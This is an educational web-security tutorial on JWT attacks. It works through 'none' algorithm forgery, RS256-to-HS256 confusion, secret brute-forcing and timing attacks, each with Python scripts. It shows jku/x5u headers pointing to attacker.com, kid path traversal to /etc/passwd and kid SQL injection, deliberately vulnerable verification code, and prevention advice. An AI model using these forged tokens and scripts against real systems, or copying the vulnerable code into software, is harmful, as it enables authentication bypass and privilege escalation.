Table of Contents
JWT Attacks
Learn about JSON Web Token vulnerabilities including signature bypass, algorithm confusion, weak secrets, and other JWT security issues that can lead to authentication bypass and privilege escalation.
JWT Structure
JSON Web Tokens (JWTs) consist of three parts separated by dots: Header.Payload.Signature. Each part is Base64URL encoded, and understanding this structure is crucial for identifying vulnerabilities.
JWT Components
Example JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header
Algorithm and token type
{
"alg": "HS256",
"typ": "JWT"
}
Payload
Claims and user data
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"role": "user"
}
Signature
Cryptographic signature
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
Signature Bypass Attacks
Signature bypass attacks exploit weaknesses in JWT signature verification, allowing attackers to modify token contents without invalidating the signature.
"None" Algorithm Attack
Bypassing signature verification with alg: "none"
Attack Technique:
Change the algorithm to "none" and remove the signature to bypass verification.
// Original JWT header
{
"alg": "HS256",
"typ": "JWT"
}
// Modified header (attack)
{
"alg": "none",
"typ": "JWT"
}
// Modified payload
{
"sub": "1234567890",
"name": "John Doe",
"role": "admin", // Escalated privileges
"iat": 1516239022
}
// Final malicious JWT (no signature)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.
Vulnerable Code:
// Vulnerable JWT verification
function verifyToken(token) {
const decoded = jwt.decode(token, { complete: true });
if (decoded.header.alg === 'none') {
return decoded.payload; // No signature verification!
}
return jwt.verify(token, secret);
}
Algorithm Confusion
Algorithm confusion attacks exploit applications that don't properly validate the algorithm specified in the JWT header, allowing attackers to change the signing algorithm to bypass security controls.
RSA to HMAC Confusion
Attack Process:
- 1. Obtain the RSA public key used for JWT verification
- 2. Change the algorithm from RS256 to HS256
- 3. Sign the JWT using HMAC with the public key as the secret
- 4. The server verifies using the same public key, accepting the forged token
Vulnerable Verification Code:
// Vulnerable - doesn't validate algorithm
function verifyJWT(token, key) {
const decoded = jwt.decode(token, { complete: true });
const algorithm = decoded.header.alg;
// Uses whatever algorithm is in the header
return jwt.verify(token, key, { algorithms: [algorithm] });
}
// Attack succeeds because same key used for both RSA and HMAC
Attack Implementation:
// Python attack script
import jwt
import requests
# Get the public key from /.well-known/jwks.json or certificate
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# Create malicious payload
payload = {
"sub": "1234567890",
"name": "John Doe",
"role": "admin", # Privilege escalation
"iat": 1516239022
}
# Sign with HMAC using public key as secret
malicious_token = jwt.encode(
payload,
public_key,
algorithm='HS256'
)
print(f"Malicious JWT: {malicious_token}")
Algorithm Downgrade Attacks
Original Algorithm | Downgrade To | Attack Vector | Impact |
---|---|---|---|
RS256 | HS256 | Use public key as HMAC secret | Token forgery |
ES256 | HS256 | Use ECDSA public key as HMAC secret | Token forgery |
RS512 | HS512 | Use RSA public key as HMAC secret | Token forgery |
Any algorithm | none | Remove signature verification | Complete bypass |
Weak Signing Secrets
Many JWT implementations use weak or predictable secrets for HMAC signing, making them vulnerable to brute force attacks or dictionary attacks.
Brute Force Attack
Systematically testing possible secrets
Attack Script:
#!/usr/bin/env python3
import jwt
import string
import itertools
def brute_force_jwt_secret(token, max_length=6):
"""Brute force JWT secret up to max_length characters"""
# Character set for brute force
charset = string.ascii_lowercase + string.digits
# Extract header and payload
header, payload, signature = token.split('.')
for length in range(1, max_length + 1):
print(f"Trying secrets of length {length}...")
for secret_tuple in itertools.product(charset, repeat=length):
secret = ''.join(secret_tuple)
try:
# Try to verify with this secret
decoded = jwt.decode(token, secret, algorithms=['HS256'])
print(f"SECRET FOUND: {secret}")
return secret
except jwt.InvalidSignatureError:
continue
except Exception as e:
continue
return None
# Example usage
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.signature"
secret = brute_force_jwt_secret(token)
JWT Header Attacks
JWT headers contain metadata about the token, including algorithm information and key identifiers. These fields can be manipulated to exploit vulnerabilities in JWT processing.
JKU (JSON Web Key Set URL) Attack
Attack Scenario:
The jku parameter points to a URL containing public keys. Attackers can host their own key set and point the JWT to it.
// Malicious JWT header
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/.well-known/jwks.json"
}
// Attacker's JWKS endpoint returns their own public key
{
"keys": [
{
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"n": "attacker_public_key_modulus",
"e": "AQAB"
}
]
}
KID (Key ID) Manipulation
Path Traversal via KID:
// Original header
{
"alg": "HS256",
"typ": "JWT",
"kid": "key1"
}
// Path traversal attack
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../etc/passwd"
}
// If application reads file based on kid value:
// const key = fs.readFileSync(`keys/${kid}.pem`);
// This could read /etc/passwd instead of a key file
SQL Injection via KID:
// SQL injection in kid parameter
{
"alg": "HS256",
"typ": "JWT",
"kid": "key1' UNION SELECT 'secret' as key_value--"
}
// If application queries database:
// SELECT key_value FROM keys WHERE kid = '${kid}'
// This could return a known value as the key
X5U (X.509 URL) Attack
Certificate Chain Attack:
// Malicious header pointing to attacker's certificate
{
"alg": "RS256",
"typ": "JWT",
"x5u": "https://attacker.com/malicious.crt"
}
// Attacker hosts a certificate with their public key
// Application fetches and trusts the certificate
// Attacker can now sign JWTs with their private key
Timing Attacks
Timing attacks exploit differences in processing time to extract information about JWT secrets or bypass security checks.
HMAC Timing Attack
Vulnerable Code:
// Vulnerable - uses string comparison
function verifySignature(token, secret) {
const [header, payload, signature] = token.split('.');
const expectedSignature = hmacSha256(header + '.' + payload, secret);
// Vulnerable: early termination on first different character
return signature === expectedSignature;
}
// Secure - constant time comparison
function secureVerifySignature(token, secret) {
const [header, payload, signature] = token.split('.');
const expectedSignature = hmacSha256(header + '.' + payload, secret);
// Secure: constant time comparison
return crypto.timingSafeEqual(
Buffer.from(signature),
Buffer.from(expectedSignature)
);
}
Timing Attack Script:
#!/usr/bin/env python3
import time
import requests
import statistics
def timing_attack(url, token_template):
"""Perform timing attack to extract JWT signature"""
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
signature = ""
for position in range(64): # Typical signature length
best_char = None
max_time = 0
for char in charset:
test_signature = signature + char + "A" * (63 - position)
test_token = token_template.replace("SIGNATURE", test_signature)
# Measure response time
times = []
for _ in range(10): # Multiple measurements for accuracy
start = time.time()
response = requests.post(url, json={"token": test_token})
end = time.time()
times.append(end - start)
avg_time = statistics.mean(times)
if avg_time > max_time:
max_time = avg_time
best_char = char
signature += best_char
print(f"Position {position}: {best_char} (time: {max_time:.6f}s)")
return signature
Detection and Tools
JWT.io Debugger
- • Decode JWT tokens
- • Verify signatures
- • Modify payloads
- • Test different algorithms
Burp Suite Extensions
- • JWT Editor
- • JSON Web Tokens
- • JWT Fuzzer
- • Token Hunter
Command Line Tools
# jwt-cli tool
npm install -g jwt-cli
# Decode JWT
jwt decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# Sign JWT
jwt sign '{"sub":"1234567890","name":"John Doe"}' secret
# Verify JWT
jwt verify eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... secret
Python JWT Library
import jwt
# Decode without verification
decoded = jwt.decode(token, options={"verify_signature": False})
# Test different algorithms
for alg in ['HS256', 'HS512', 'RS256', 'none']:
try:
result = jwt.decode(token, key, algorithms=[alg])
print(f"Success with {alg}: {result}")
except Exception as e:
print(f"Failed with {alg}: {e}")
Prevention Strategies
Secure JWT Implementation
Strict Algorithm Validation:
// Secure JWT verification
function verifyJWT(token, secret) {
// Explicitly specify allowed algorithms
const allowedAlgorithms = ['HS256'];
try {
const decoded = jwt.verify(token, secret, {
algorithms: allowedAlgorithms,
// Reject 'none' algorithm
ignoreNotBefore: false,
ignoreExpiration: false
});
return decoded;
} catch (error) {
throw new Error('Invalid JWT token');
}
}
// Never trust the algorithm from the header
function insecureVerification(token, secret) {
const decoded = jwt.decode(token, { complete: true });
const algorithm = decoded.header.alg; // DANGEROUS!
return jwt.verify(token, secret, { algorithms: [algorithm] });
}
Key Takeaways
- • Never trust the algorithm specified in the JWT header - always validate explicitly
- • Use strong, randomly generated secrets and rotate them regularly
- • Implement proper token expiration and refresh mechanisms
- • Validate all JWT header parameters and reject dangerous ones like jku, x5u
- • Use constant-time comparison functions to prevent timing attacks
- • Consider using asymmetric algorithms (RS256) for better security in distributed systems
- • Implement comprehensive logging and monitoring for JWT-related security events